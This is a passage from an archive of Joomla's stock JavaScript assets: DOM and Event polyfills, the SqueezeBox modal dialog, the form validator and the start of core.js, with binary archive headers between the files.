r=e(this),i=1 in arguments?!arguments[1]:t(o)in r;return r[o]=!i,n(this,r),!i}},o}();"Document"in this||(this.HTMLDocument?this.Document=this.HTMLDocument:(this.Document=this.HTMLDocument=document.constructor=new Function("return function Document() {}")(),this.Document.prototype=document)),"Element"in this&&"HTMLElement"in this||!function(){function t(){return l--||clearTimeout(e),document.body&&!document.body.prototype&&/(complete|interactive)/.test(document.readyState)?(a(document,!0),e&&document.body.prototype&&clearTimeout(e),!!document.body.prototype):!1}if(window.Element&&!window.HTMLElement)return void(window.HTMLElement=window.Element);window.Element=window.HTMLElement=new Function("return function Element() {}")();var e,n=document.appendChild(document.createElement("body")),o=n.appendChild(document.createElement("iframe")),r=o.contentWindow.document,i=Element.prototype=r.appendChild(r.createElement("*")),c={},a=function(t,e){var n,o,r,i=t.childNodes||[],u=-1;if(1===t.nodeType&&t.constructor!==Element){t.constructor=Element;for(n in c)o=c[n],t[n]=o}for(;r=e&&i[++u];)a(r,e);return t},u=document.getElementsByTagName("*"),p=document.createElement,l=100;i.attachEvent("onpropertychange",function(t){for(var e,n=t.propertyName,o=!c.hasOwnProperty(n),r=i[n],a=c[n],p=-1;e=u[++p];)1===e.nodeType&&(o||e[n]===a)&&(e[n]=r);c[n]=r}),i.constructor=Element,i.hasAttribute||(i.hasAttribute=function(t){return null!==this.getAttribute(t)}),t(!0)||(document.onreadystatechange=t,e=setInterval(t,25)),document.createElement=function(t){var e=p(String(t).toLowerCase());return a(e)},document.removeChild(n)}(),"document"in this&&"classList"in document.documentElement||Object.defineProperty(Element.prototype,"classList",{configurable:!0,get:function(){function e(){var t="object"==typeof r.className?r.className.baseVal:r.className;[].splice.apply(o,[0,o.length].concat((t||"").replace(/^\s+|\s+$/g,"").split(/\s+/)))}function n(){r.attachEvent&&r.detachEvent("onpropertychange",e),"object"==typeof r.className?r.className.baseVal=i.toString.call(o):r.className=i.toString.call(o),r.attachEvent&&r.attachEvent("onpropertychange",e)}var o,r=this,i=t.prototype,c=function(){};return c.prototype=new t,c.prototype.item=function(){return e(),i.item.apply(o,arguments)},c.prototype.toString=function(){return e(),i.toString.apply(o,arguments)},c.prototype.add=function(){return e(),i.add.apply(o,arguments),n()},c.prototype.contains=function(){return e(),i.contains.apply(o,arguments)},c.prototype.remove=function(){return e(),i.remove.apply(o,arguments),n()},c.prototype.toggle=function(t){return e(),t=i.toggle.apply(o,arguments),n(),t},o=new c,r.attachEvent&&r.attachEvent("onpropertychange",e),o}})}).call("object"==typeof window&&window||"object"==typeof self&&self||"object"==typeof global&&global||{});
PK!_���'�'js/modal.jsnu�[���/*
		MIT-style license
 @author		Harald Kirschner <mail [at] digitarald.de>
 @author		Rouven Weßling <me [at] rouvenwessling.de>
 @copyright	Author
*/
var SqueezeBox={presets:{onOpen:function(){},onClose:function(){},onUpdate:function(){},onResize:function(){},onMove:function(){},onShow:function(){},onHide:function(){},size:{x:600,y:450},sizeLoading:{x:200,y:150},marginInner:{x:20,y:20},marginImage:{x:50,y:75},handler:false,target:null,closable:true,closeBtn:true,zIndex:65555,overlayOpacity:.7,classWindow:"",classOverlay:"",overlayFx:{},resizeFx:{},contentFx:{},parse:false,parseSecure:false,shadow:true,overlay:true,document:null,ajaxOptions:{}},initialize:function(e){if(this.options)return this;this.presets=Object.merge(this.presets,e);this.doc=this.presets.document||document;this.options={};this.setOptions(this.presets).build();this.bound={window:this.reposition.bind(this,[null]),scroll:this.checkTarget.bind(this),close:this.close.bind(this),key:this.onKey.bind(this)};this.isOpen=this.isLoading=false;return this},build:function(){this.overlay=new Element("div",{id:"sbox-overlay","aria-hidden":"true",styles:{zIndex:this.options.zIndex},tabindex:-1});this.win=new Element("div",{id:"sbox-window",role:"dialog","aria-hidden":"true",styles:{zIndex:this.options.zIndex+2}});if(this.options.shadow){if(Browser.chrome||Browser.safari&&Browser.version>=3||Browser.opera&&Browser.version>=10.5||Browser.firefox&&Browser.version>=3.5||Browser.ie&&Browser.version>=9){this.win.addClass("shadow")}else if(!Browser.ie6){var e=(new Element("div",{"class":"sbox-bg-wrap"})).inject(this.win);var t=function(e){this.overlay.fireEvent("click",[e])}.bind(this);["n","ne","e","se","s","sw","w","nw"].each(function(n){(new Element("div",{"class":"sbox-bg sbox-bg-"+n})).inject(e).addEvent("click",t)})}}this.content=(new Element("div",{id:"sbox-content"})).inject(this.win);this.closeBtn=(new Element("a",{id:"sbox-btn-close",href:"#",role:"button"})).inject(this.win);this.closeBtn.setProperty("aria-controls","sbox-window");this.fx={overlay:(new Fx.Tween(this.overlay,Object.merge({property:"opacity",onStart:Events.prototype.clearChain,duration:250,link:"cancel"},this.options.overlayFx))).set(0),win:new Fx.Morph(this.win,Object.merge({onStart:Events.prototype.clearChain,unit:"px",duration:750,transition:Fx.Transitions.Quint.easeOut,link:"cancel",unit:"px"},this.options.resizeFx)),content:(new Fx.Tween(this.content,Object.merge({property:"opacity",duration:250,link:"cancel"},this.options.contentFx))).set(0)};document.id(this.doc.body).adopt(this.overlay,this.win)},assign:function(e,t){return(document.id(e)||$$(e)).addEvent("click",function(){return!SqueezeBox.fromElement(this,t)})},open:function(e,t){this.initialize();if(this.element!=null)this.trash();this.element=document.id(e)||false;this.setOptions(Object.merge(this.presets,t||{}));if(this.element&&this.options.parse){var n=this.element.getProperty(this.options.parse);if(n&&(n=JSON.decode(n,this.options.parseSecure)))this.setOptions(n)}this.url=(this.element?this.element.get("href"):e)||this.options.url||"";this.assignOptions();var r=r||this.options.handler;if(r)return this.setContent(r,this.parsers[r].call(this,true));var i=false;return this.parsers.some(function(e,t){var n=e.call(this);if(n){i=this.setContent(t,n);return true}return false},this)},fromElement:function(e,t){return this.open(e,t)},assignOptions:function(){this.overlay.addClass(this.options.classOverlay);this.win.addClass(this.options.classWindow)},close:function(e){var t=typeOf(e)=="domevent";if(t)e.stop();if(!this.isOpen||t&&!Function.from(this.options.closable).call(this,e))return this;this.fx.overlay.start(0).chain(this.toggleOverlay.bind(this));this.win.setProperty("aria-hidden","true");this.fireEvent("onClose",[this.content]);this.trash();this.toggleListeners();this.isOpen=false;return this},trash:function(){this.element=this.asset=null;this.content.empty();this.options={};this.removeEvents().setOptions(this.presets).callChain()},onError:function(){this.asset=null;this.setContent("string",this.options.errorMsg||"An error occurred")},setContent:function(e,t){if(!this.handlers[e])return false;this.content.className="sbox-content-"+e;this.applyTimer=this.applyContent.delay(this.fx.overlay.options.duration,this,this.handlers[e].call(this,t));if(this.overlay.retrieve("opacity"))return this;this.toggleOverlay(true);this.fx.overlay.start(this.options.overlayOpacity);return this.reposition()},applyContent:function(e,t){if(!this.isOpen&&!this.applyTimer)return;this.applyTimer=clearTimeout(this.applyTimer);this.hideContent();if(!e){this.toggleLoading(true)}else{if(this.isLoading)this.toggleLoading(false);this.fireEvent("onUpdate",[this.content],20)}if(e){if(["string","array"].contains(typeOf(e))){this.content.set("html",e)}else {this.content.adopt(e)}}this.callChain();if(!this.isOpen){this.toggleListeners(true);this.resize(t,true);this.isOpen=true;this.win.setProperty("aria-hidden","false");this.fireEvent("onOpen",[this.content])}else{this.resize(t)}},resize:function(e,t){this.showTimer=clearTimeout(this.showTimer||null);var n=this.doc.getSize(),r=this.doc.getScroll();this.size=Object.merge(this.isLoading?this.options.sizeLoading:this.options.size,e);var i=self.getSize();if(this.size.x==i.x){this.size.y=this.size.y-50;this.size.x=this.size.x-20}if(n.x>979){var s={width:this.size.x,height:this.size.y,left:(r.x+(n.x-this.size.x-this.options.marginInner.x)/2).toInt(),top:(r.y+(n.y-this.size.y-this.options.marginInner.y)/2).toInt()}}else{var s={width:n.x-40,height:n.y,left:(r.x+10).toInt(),top:(r.y+20).toInt()}}this.hideContent();if(!t){this.fx.win.start(s).chain(this.showContent.bind(this))}else{this.win.setStyles(s);this.showTimer=this.showContent.delay(50,this)}return this.reposition()},toggleListeners:function(e){var t=e?"addEvent":"removeEvent";this.closeBtn[t]("click",this.bound.close);this.overlay[t]("click",this.bound.close);this.doc[t]("keydown",this.bound.key)[t]("mousewheel",this.bound.scroll);this.doc.getWindow()[t]("resize",this.bound.window)[t]("scroll",this.bound.window)},toggleLoading:function(e){this.isLoading=e;this.win[e?"addClass":"removeClass"]("sbox-loading");if(e){this.win.setProperty("aria-busy",e);this.fireEvent("onLoading",[this.win])}},toggleOverlay:function(e){if(this.options.overlay){var t=this.doc.getSize().x;this.overlay.set("aria-hidden",e?"false":"true");this.doc.body[e?"addClass":"removeClass"]("body-overlayed");if(e){this.scrollOffset=this.doc.getWindow().getSize().x-t}else{this.doc.body.setStyle("margin-right","")}}},showContent:function(){if(this.content.get("opacity"))this.fireEvent("onShow",[this.win]);this.fx.content.start(1)},hideContent:function(){if(!this.content.get("opacity"))this.fireEvent("onHide",[this.win]);this.fx.content.cancel().set(0)},onKey:function(e){switch(e.key){case"esc":this.close(e);case"up":case"down":return false}},checkTarget:function(e){return e.target!==this.content&&this.content.contains(e.target)},reposition:function(){var e=this.doc.getSize(),t=this.doc.getScroll(),n=this.doc.getScrollSize();var r=this.overlay.getStyles("height");var i=parseInt(r.height);if(n.y>i&&e.y>=i){this.overlay.setStyles({width:n.x+"px",height:n.y+"px"});this.win.setStyles({left:(t.x+(e.x-this.win.offsetWidth)/2-this.scrollOffset).toInt()+"px",top:(t.y+(e.y-this.win.offsetHeight)/2).toInt()+"px"})}return this.fireEvent("onMove",[this.overlay,this.win])},removeEvents:function(e){if(!this.$events)return this;if(!e)this.$events=null;else if(this.$events[e])this.$events[e]=null;return this},extend:function(e){return Object.append(this,e)},handlers:new Hash,parsers:new Hash};SqueezeBox.extend(new Events(function(){})).extend(new Options(function(){})).extend(new Chain(function(){}));SqueezeBox.parsers.extend({image:function(e){return e||/\.(?:jpg|png|gif)$/i.test(this.url)?this.url:false},clone:function(e){if(document.id(this.options.target))return document.id(this.options.target);if(this.element&&!this.element.parentNode)return this.element;var t=this.url.match(/#([\w-]+)$/);return t?document.id(t[1]):e?this.element:false},ajax:function(e){return e||this.url&&!/^(?:javascript|#)/i.test(this.url)?this.url:false},iframe:function(e){return e||this.url?this.url:false},string:function(e){return true}});SqueezeBox.handlers.extend({image:function(e){var t,n=new Image;this.asset=null;n.onload=n.onabort=n.onerror=function(){n.onload=n.onabort=n.onerror=null;if(!n.width){this.onError.delay(10,this);return}var e=this.doc.getSize();e.x-=this.options.marginImage.x;e.y-=this.options.marginImage.y;t={x:n.width,y:n.height};for(var r=2;r--;){if(t.x>e.x){t.y*=e.x/t.x;t.x=e.x}else if(t.y>e.y){t.x*=e.y/t.y;t.y=e.y}}t.x=t.x.toInt();t.y=t.y.toInt();this.asset=document.id(n);n=null;this.asset.width=t.x;this.asset.height=t.y;this.applyContent(this.asset,t)}.bind(this);n.src=e;if(n&&n.onload&&n.complete)n.onload();return this.asset?[this.asset,t]:null},clone:function(e){if(e)return e.clone();return this.onError()},adopt:function(e){if(e)return e;return this.onError()},ajax:function(e){var t=this.options.ajaxOptions||{};this.asset=(new Request.HTML(Object.merge({method:"get",evalScripts:false},this.options.ajaxOptions))).addEvents({onSuccess:function(e){this.applyContent(e);if(t.evalScripts!==null&&!t.evalScripts)Browser.exec(this.asset.response.javascript);this.fireEvent("onAjax",[e,this.asset]);this.asset=null}.bind(this),onFailure:this.onError.bind(this)});this.asset.send.delay(10,this.asset,[{url:e}])},iframe:function(e){var t=this.doc.getSize();if(t.x>979){var n=this.options.size.x;var r=this.options.size.y}else{var n=t.x;var r=t.y-50}this.asset=new Element("iframe",Object.merge({src:e,frameBorder:0,width:n,height:r},this.options.iframeOptions));if(this.options.iframePreload){this.asset.addEvent("load",function(){this.applyContent(this.asset.setStyle("display",""))}.bind(this));this.asset.setStyle("display","none").inject(this.content);return false}return this.asset},string:function(e){return e}});SqueezeBox.handlers.url=SqueezeBox.handlers.ajax;SqueezeBox.parsers.url=SqueezeBox.parsers.ajax;SqueezeBox.parsers.adopt=SqueezeBox.parsers.clone;
PK!X�Ap4p4!js/polyfill.event-uncompressed.jsnu�[���/**
 * Polyfill service v3.13.0
 * For detailed credits and licence information see http://github.com/financial-times/polyfill-service.
 * 
 * Features requested: Event
 * 
 * - Window, License: CC0 (required by "Event")
 * - Document, License: CC0 (required by "Element", "Event")
 * - Element, License: CC0 (required by "Event")
 * - Object.defineProperty, License: CC0 (required by "Event")
 * - Event, License: CC0
 *
 * @build      https://cdn.polyfill.io/v2/polyfill.js?features=Event&flags=always,gated
 * 
 * @copyright  Copyright (c) 2016 Financial Times
 * @license    MIT License, https://github.com/Financial-Times/polyfill-service/blob/master/LICENSE.md
 */

(function(undefined) {
if (!('Window' in this)) {

// Window
(function(global) {
	if (global.constructor) {
		global.Window = global.constructor;
	} else {
		(global.Window = global.constructor = new Function('return function Window() {}')()).prototype = this;
	}
}(this));

}

if (!("Document" in this)) {

// Document
if (this.HTMLDocument) { // IE8

	// HTMLDocument is an extension of Document.  If the browser has HTMLDocument but not Document, the former will suffice as an alias for the latter.
	this.Document = this.HTMLDocument;

} else {

	// Create an empty function to act as the missing constructor for the document object, attach the document object as its prototype.  The function needs to be anonymous else it is hoisted and causes the feature detect to prematurely pass, preventing the assignments below being made.
	this.Document = this.HTMLDocument = document.constructor = (new Function('return function Document() {}')());
	this.Document.prototype = document;
}

}

if (!('Element' in this && 'HTMLElement' in this)) {

// Element
(function () {

	// IE8
	if (window.Element && !window.HTMLElement) {
		window.HTMLElement = window.Element;
		return;
	}

	// create Element constructor
	window.Element = window.HTMLElement = new Function('return function Element() {}')();

	// generate sandboxed iframe
	var vbody = document.appendChild(document.createElement('body'));
	var frame = vbody.appendChild(document.createElement('iframe'));

	// use sandboxed iframe to replicate Element functionality
	var frameDocument = frame.contentWindow.document;
	var prototype = Element.prototype = frameDocument.appendChild(frameDocument.createElement('*'));
	var cache = {};

	// polyfill Element.prototype on an element
	var shiv = function (element, deep) {
		var
		childNodes = element.childNodes || [],
		index = -1,
		key, value, childNode;

		if (element.nodeType === 1 && element.constructor !== Element) {
			element.constructor = Element;

			for (key in cache) {
				value = cache[key];
				element[key] = value;
			}
		}

		while (childNode = deep && childNodes[++index]) {
			shiv(childNode, deep);
		}

		return element;
	};

	var elements = document.getElementsByTagName('*');
	var nativeCreateElement = document.createElement;
	var interval;
	var loopLimit = 100;

	prototype.attachEvent('onpropertychange', function (event) {
		var
		propertyName = event.propertyName,
		nonValue = !cache.hasOwnProperty(propertyName),
		newValue = prototype[propertyName],
		oldValue = cache[propertyName],
		index = -1,
		element;

		while (element = elements[++index]) {
			if (element.nodeType === 1) {
				if (nonValue || element[propertyName] === oldValue) {
					element[propertyName] = newValue;
				}
			}
		}

		cache[propertyName] = newValue;
	});

	prototype.constructor = Element;

	if (!prototype.hasAttribute) {
		// <Element>.hasAttribute
		prototype.hasAttribute = function hasAttribute(name) {
			return this.getAttribute(name) !== null;
		};
	}

	// Apply Element prototype to the pre-existing DOM as soon as the body element appears.
	function bodyCheck() {
		if (!(loopLimit--)) clearTimeout(interval);
		if (document.body && !document.body.prototype && /(complete|interactive)/.test(document.readyState)) {
			shiv(document, true);
			if (interval && document.body.prototype) clearTimeout(interval);
			return (!!document.body.prototype);
		}
		return false;
	}
	if (!bodyCheck(true)) {
		document.onreadystatechange = bodyCheck;
		interval = setInterval(bodyCheck, 25);
	}

	// Apply to any new elements created after load
	document.createElement = function createElement(nodeName) {
		var element = nativeCreateElement(String(nodeName).toLowerCase());
		return shiv(element);
	};

	// remove sandboxed iframe
	document.removeChild(vbody);
}());

}

if (!(// In IE8, defineProperty could only act on DOM elements, so full support
// for the feature requires the ability to set a property on an arbitrary object
'defineProperty' in Object && (function() {
	try {
		var a = {};
		Object.defineProperty(a, 'test', {value:42});
		return true;
	} catch(e) {
		return false
	}
}()))) {

// Object.defineProperty
(function (nativeDefineProperty) {

	var supportsAccessors = Object.prototype.hasOwnProperty('__defineGetter__');
	var ERR_ACCESSORS_NOT_SUPPORTED = 'Getters & setters cannot be defined on this javascript engine';
	var ERR_VALUE_ACCESSORS = 'A property cannot both have accessors and be writable or have a value';

	Object.defineProperty = function defineProperty(object, property, descriptor) {

		// Where native support exists, assume it
		if (nativeDefineProperty && (object === window || object === document || object === Element.prototype || object instanceof Element)) {
			return nativeDefineProperty(object, property, descriptor);
		}

		if (object === null || !(object instanceof Object || typeof object === 'object')) {
			throw new TypeError('Object must be an object (Object.defineProperty polyfill)');
		}

		if (!(descriptor instanceof Object)) {
			throw new TypeError('Descriptor must be an object (Object.defineProperty polyfill)');
		}

		var propertyString = String(property);
		var hasValueOrWritable = 'value' in descriptor || 'writable' in descriptor;
		var getterType = 'get' in descriptor && typeof descriptor.get;
		var setterType = 'set' in descriptor && typeof descriptor.set;

		// handle descriptor.get
		if (getterType) {
			if (getterType !== 'function') {
				throw new TypeError('Getter expected a function (Object.defineProperty polyfill)');
			}
			if (!supportsAccessors) {
				throw new TypeError(ERR_ACCESSORS_NOT_SUPPORTED);
			}
			if (hasValueOrWritable) {
				throw new TypeError(ERR_VALUE_ACCESSORS);
			}
			object.__defineGetter__(propertyString, descriptor.get);
		} else {
			object[propertyString] = descriptor.value;
		}

		// handle descriptor.set
		if (setterType) {
			if (setterType !== 'function') {
				throw new TypeError('Setter expected a function (Object.defineProperty polyfill)');
			}
			if (!supportsAccessors) {
				throw new TypeError(ERR_ACCESSORS_NOT_SUPPORTED);
			}
			if (hasValueOrWritable) {
				throw new TypeError(ERR_VALUE_ACCESSORS);
			}
			object.__defineSetter__(propertyString, descriptor.set);
		}

		// OK to define value unconditionally - if a getter has been specified as well, an error would be thrown above
		if ('value' in descriptor) {
			object[propertyString] = descriptor.value;
		}

		return object;
	};
}(Object.defineProperty));

}

if (!((function(global) {

	if (!('Event' in global)) return false;
	if (typeof global.Event === 'function') return true;

	try {

		// In IE 9-11, the Event object exists but cannot be instantiated
		new Event('click');
		return true;
	} catch(e) {
		return false;
	}
}(this)))) {

// Event
(function () {
	var unlistenableWindowEvents = {
		click: 1,
		dblclick: 1,
		keyup: 1,
		keypress: 1,
		keydown: 1,
		mousedown: 1,
		mouseup: 1,
		mousemove: 1,
		mouseover: 1,
		mouseenter: 1,
		mouseleave: 1,
		mouseout: 1,
		storage: 1,
		storagecommit: 1,
		textinput: 1
	};

	function indexOf(array, element) {
		var
		index = -1,
		length = array.length;

		while (++index < length) {
			if (index in array && array[index] === element) {
				return index;
			}
		}

		return -1;
	}

	var existingProto = (window.Event && window.Event.prototype) || null;
	window.Event = Window.prototype.Event = function Event(type, eventInitDict) {
		if (!type) {
			throw new Error('Not enough arguments');
		}

		// Shortcut if browser supports createEvent
		if ('createEvent' in document) {
			var event = document.createEvent('Event');
			var bubbles = eventInitDict && eventInitDict.bubbles !== undefined ? eventInitDict.bubbles : false;
			var cancelable = eventInitDict && eventInitDict.cancelable !== undefined ? eventInitDict.cancelable : false;

			event.initEvent(type, bubbles, cancelable);

			return event;
		}

		var event = document.createEventObject();

		event.type = type;
		event.bubbles = eventInitDict && eventInitDict.bubbles !== undefined ? eventInitDict.bubbles : false;
		event.cancelable = eventInitDict && eventInitDict.cancelable !== undefined ? eventInitDict.cancelable : false;

		return event;
	};
	if (existingProto) {
		Object.defineProperty(window.Event, 'prototype', {
			configurable: false,
			enumerable: false,
			writable: true,
			value: existingProto
		});
	}

	if (!('createEvent' in document)) {
		window.addEventListener = Window.prototype.addEventListener = Document.prototype.addEventListener = Element.prototype.addEventListener = function addEventListener() {
			var
			element = this,
			type = arguments[0],
			listener = arguments[1];

			if (element === window && type in unlistenableWindowEvents) {
				throw new Error('In IE8 the event: ' + type + ' is not available on the window object. Please see https://github.com/Financial-Times/polyfill-service/issues/317 for more information.');
			}

			if (!element._events) {
				element._events = {};
			}

			if (!element._events[type]) {
				element._events[type] = function (event) {
					var
					list = element._events[event.type].list,
					events = list.slice(),
					index = -1,
					length = events.length,
					eventElement;

					event.preventDefault = function preventDefault() {
						if (event.cancelable !== false) {
							event.returnValue = false;
						}
					};

					event.stopPropagation = function stopPropagation() {
						event.cancelBubble = true;
					};

					event.stopImmediatePropagation = function stopImmediatePropagation() {
						event.cancelBubble = true;
						event.cancelImmediate = true;
					};

					event.currentTarget = element;
					event.relatedTarget = event.fromElement || null;
					event.target = event.target || event.srcElement || element;
					event.timeStamp = new Date().getTime();

					if (event.clientX) {
						event.pageX = event.clientX + document.documentElement.scrollLeft;
						event.pageY = event.clientY + document.documentElement.scrollTop;
					}

					while (++index < length && !event.cancelImmediate) {
						if (index in events) {
							eventElement = events[index];

							if (indexOf(list, eventElement) !== -1 && typeof eventElement === 'function') {
								eventElement.call(element, event);
							}
						}
					}
				};

				element._events[type].list = [];

				if (element.attachEvent) {
					element.attachEvent('on' + type, element._events[type]);
				}
			}

			element._events[type].list.push(listener);
		};

		window.removeEventListener = Window.prototype.removeEventListener = Document.prototype.removeEventListener = Element.prototype.removeEventListener = function removeEventListener() {
			var
			element = this,
			type = arguments[0],
			listener = arguments[1],
			index;

			if (element._events && element._events[type] && element._events[type].list) {
				index = indexOf(element._events[type].list, listener);

				if (index !== -1) {
					element._events[type].list.splice(index, 1);

					if (!element._events[type].list.length) {
						if (element.detachEvent) {
							element.detachEvent('on' + type, element._events[type]);
						}
						delete element._events[type];
					}
				}
			}
		};

		window.dispatchEvent = Window.prototype.dispatchEvent = Document.prototype.dispatchEvent = Element.prototype.dispatchEvent = function dispatchEvent(event) {
			if (!arguments.length) {
				throw new Error('Not enough arguments');
			}

			if (!event || typeof event.type !== 'string') {
				throw new Error('DOM Events Exception 0');
			}

			var element = this, type = event.type;

			try {
				if (!event.bubbles) {
					event.cancelBubble = true;

					var cancelBubbleEvent = function (event) {
						event.cancelBubble = true;

						(element || window).detachEvent('on' + type, cancelBubbleEvent);
					};

					this.attachEvent('on' + type, cancelBubbleEvent);
				}

				this.fireEvent('on' + type, event);
			} catch (error) {
				event.target = element;

				do {
					event.currentTarget = element;

					if ('_events' in element && typeof element._events[type] === 'function') {
						element._events[type].call(element, event);
					}

					if (typeof element['on' + type] === 'function') {
						element['on' + type].call(element, event);
					}

					element = element.nodeType === 9 ? element.parentWindow : element.parentNode;
				} while (element && !event.cancelBubble);
			}

			return true;
		};

		// Add the DOMContentLoaded Event
		document.attachEvent('onreadystatechange', function() {
			if (document.readyState === 'complete') {
				document.dispatchEvent(new Event('DOMContentLoaded', {
					bubbles: true
				}));
			}
		});
	}
}());

}


})
.call('object' === typeof window && window || 'object' === typeof self && self || 'object' === typeof global && global || {});
PK!H�9J??js/validate.jsnu�[���var JFormValidator=function(){"use strict";function n(t,e,a){a=""===a||a,s[t]={enabled:a,exec:e}}function i(t,e){var a,r,n,i,l=e.data("label");void 0===l&&(a=e.attr("id"),r=e.get(0).form,i=jQuery(r),l=!!a&&((n=i.find("#"+a+"-lbl")).length?n:!!(n=i.find('label[for="'+a+'"]')).length&&n),e.data("label",l)),!1===t?(e.addClass("invalid").attr("aria-invalid","true"),l&&l.addClass("invalid")):(e.removeClass("invalid").attr("aria-invalid","false"),l&&l.removeClass("invalid"))}function o(t){var e,a=jQuery(t);if(a.attr("disabled"))return i(!0,a),!0;if(a.attr("required")||a.hasClass("required"))if("fieldset"===a.prop("tagName").toLowerCase()&&(a.hasClass("radio")||a.hasClass("checkboxes"))){if(!a.find("input:checked").length)return i(!1,a),!1}else if(!a.val()||a.hasClass("placeholder")||"checkbox"===a.attr("type")&&!a.is(":checked"))return i(!1,a),!1;if(e=a.attr("class")&&a.attr("class").match(/validate-([a-zA-Z0-9\_\-]+)/)?a.attr("class").match(/validate-([a-zA-Z0-9\_\-]+)/)[1]:"",a.attr("pattern")&&""!=a.attr("pattern")){if(a.val().length){var r=new RegExp("^"+a.attr("pattern")+"$").test(a.val());return i(r,a),r}return a.attr("required")||a.hasClass("required")?(i(!1,a),!1):(i(!0,a),!0)}return""===e?(i(!0,a),!0):e&&"none"!==e&&s[e]&&a.val()&&!0!==s[e].exec(a.val(),a)?(i(!1,a),!1):(i(!0,a),!0)}function u(t){var e,a,r,n,i,l,s=!0,u=[];for(i=0,l=(e=jQuery(t).find("input, textarea, select, fieldset")).length;i<l;i++)jQuery(e[i]).hasClass("novalidate")||!1===o(e[i])&&(s=!1,u.push(e[i]));if(jQuery.each(c,function(t,e){!0!==e.exec()&&(s=!1)}),!s&&0<u.length){for(a=Joomla.JText._("JLIB_FORM_FIELD_INVALID"),r={error:[]},i=u.length-1;0<=i;i--)(n=jQuery(u[i]).data("label"))&&r.error.push(a+n.text().replace("*",""));Joomla.renderMessages(r)}return s}function l(t){for(var e,a=[],r=jQuery(t),n=0,i=(e=r.find("input, textarea, select, fieldset, button")).length;n<i;n++){var l=jQuery(e[n]),s=l.prop("tagName").toLowerCase();"input"!==s&&"button"!==s||"submit"!==l.attr("type")&&"image"!==l.attr("type")?"button"===s||"input"===s&&"button"===l.attr("type")||(l.hasClass("required")&&l.attr("aria-required","true").attr("required","required"),"fieldset"!==s&&(l.on("blur",function(){return o(this)}),l.hasClass("validate-email")&&d&&e[n].setAttribute("type","email")),a.push(l)):l.hasClass("validate")&&l.on("click",function(){return u(t)})}r.data("inputfields",a)}var s,d,c;return function(){var t;s={},c=c||{},(t=document.createElement("input")).setAttribute("type","email"),d="text"!==t.type,n("username",function(t,e){return!new RegExp("[<|>|\"|'|%|;|(|)|&]","i").test(t)}),n("password",function(t,e){return/^\S[\S ]{2,98}\S$/.test(t)}),n("numeric",function(t,e){return/^(\d|-)?(\d|,)*\.?\d*$/.test(t)}),n("email",function(t,e){t=punycode.toASCII(t);return/^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/.test(t)});for(var e=jQuery("form.form-validate"),a=0,r=e.length;a<r;a++)l(e[a])}(),{isValid:u,validate:o,setHandler:n,attachToForm:l,custom:c}};document.formvalidator=null,jQuery(function(){document.formvalidator=new JFormValidator});
PK!sk�""
js/core.jsnu�[���Joomla=window.Joomla||{},Joomla.editors=Joomla.editors||{},Joomla.editors.instances=Joomla.editors.instances||{},function(e,t){"use strict";e.submitform=function(e,o,n){o||(o=t.getElementById("adminForm")),e&&(o.task.value=e),o.noValidate=!n,n?o.hasAttribute("novalidate")&&o.removeAttribute("novalidate"):o.setAttribute("novalidate","");var r=t.createElement("input");r.style.display="none",r.type="submit",o.appendChild(r).click(),o.removeChild(r)},e.submitbutton=function(t){e.submitform(t)},e.Text={strings:{},_:function(t,o){var n=e.getOptions("joomla.jtext");return n&&(this.load(n),e.loadOptions({"joomla.jtext":null})),o=void 0===o?"":o,t=t.toUpperCase(),void 0!==this.strings[t]?this.strings[t]:o},load:function(e){for(var t in e)e.hasOwnProperty(t)&&(this.strings[t.toUpperCase()]=e[t]);return this}},e.JText=e.Text,e.optionsStorage=e.optionsStorage||null,e.getOptions=function(t,o){return e.optionsStorage||e.loadOptions(),void 0!==e.optionsStorage[t]?e.optionsStorage[t]:o},e.loadOptions=function(o){if(!o){for(var n,r,a,i=t.querySelectorAll(".joomla-script-options.new"),s=0,l=0,d=i.length;l<d;l++)n=(r=i[l]).text||r.textContent,(a=JSON.parse(n))&&(e.loadOptions(a),s++),r.className=r.className.replace(" new"," loaded");if(s)return}if(e.optionsStorage){if(o)for(var c in o)o.hasOwnProperty(c)&&(e.optionsStorage[c]=o[c])}else e.optionsStorage=o||{}},e.replaceTokens=function(e){if(/^[0-9A-F]{32}$/i.test(e)){var o,n,r,a=t.getElementsByTagName("input");for(o=0,r=a.length;o<r;o++)"hidden"==(n=a[o]).type&&"1"==n.value&&32==n.name.length&&(n.name=e)}},e.isEmail=function(e){console.warn("Joomla.isEmail() is deprecated, use the formvalidator instead");return/^[\w.!#$%&‚Äô*+\/=?^`{|}~-]+@[a-z0-9-]+(?:\.[a-z0-9-]{2,})+$/i.test(e)},e.checkAll=function(e,t){if(!e.form)return!1;t=t||"cb";var o,n,r,a=0;for(o=0,r=e.form.elements.length;o<r;o++)(n=e.form.elements[o]).type==e.type&&0===n.id.indexOf(t)&&(n.checked=e.checked,a+=n.checked?1:0);return e.form.boxchecked&&(e.form.boxchecked.value=a),!0},e.renderMessages=function(o){e.removeMessages();var n,r,a,i,s,l,d,c=t.getElementById("system-message-container");for(n in o)if(o.hasOwnProperty(n)){r=o[n],a=t.createElement("div"),d="notice"===n?"alert-info":"alert-"+n,d="message"===n?"alert-success":d,d="error"===n?"alert-error alert-danger":d,a.className="alert "+d;var u=t.createElement("button");for(u.setAttribute("type","button"),u.setAttribute("data-dismiss","alert"),u.className="close",u.innerHTML="×",a.appendChild(u),void 0!==e.JText._(n)&&((i=t.createElement("h4")).className="alert-heading",i.innerHTML=e.JText._(n),a.appendChild(i)),s=r.length-1;s>=0;s--)(l=t.createElement("div")).innerHTML=r[s],a.appendChild(l);c.appendChild(a)}},e.removeMessages=function(){for(var e=t.getElementById("system-message-container");e.firstChild;)e.removeChild(e.firstChild);e.style.display="none",e.offsetHeight,e.style.display=""},e.ajaxErrorsMessages=function(t,o,n){var r={};if("parsererror"===o){for(var 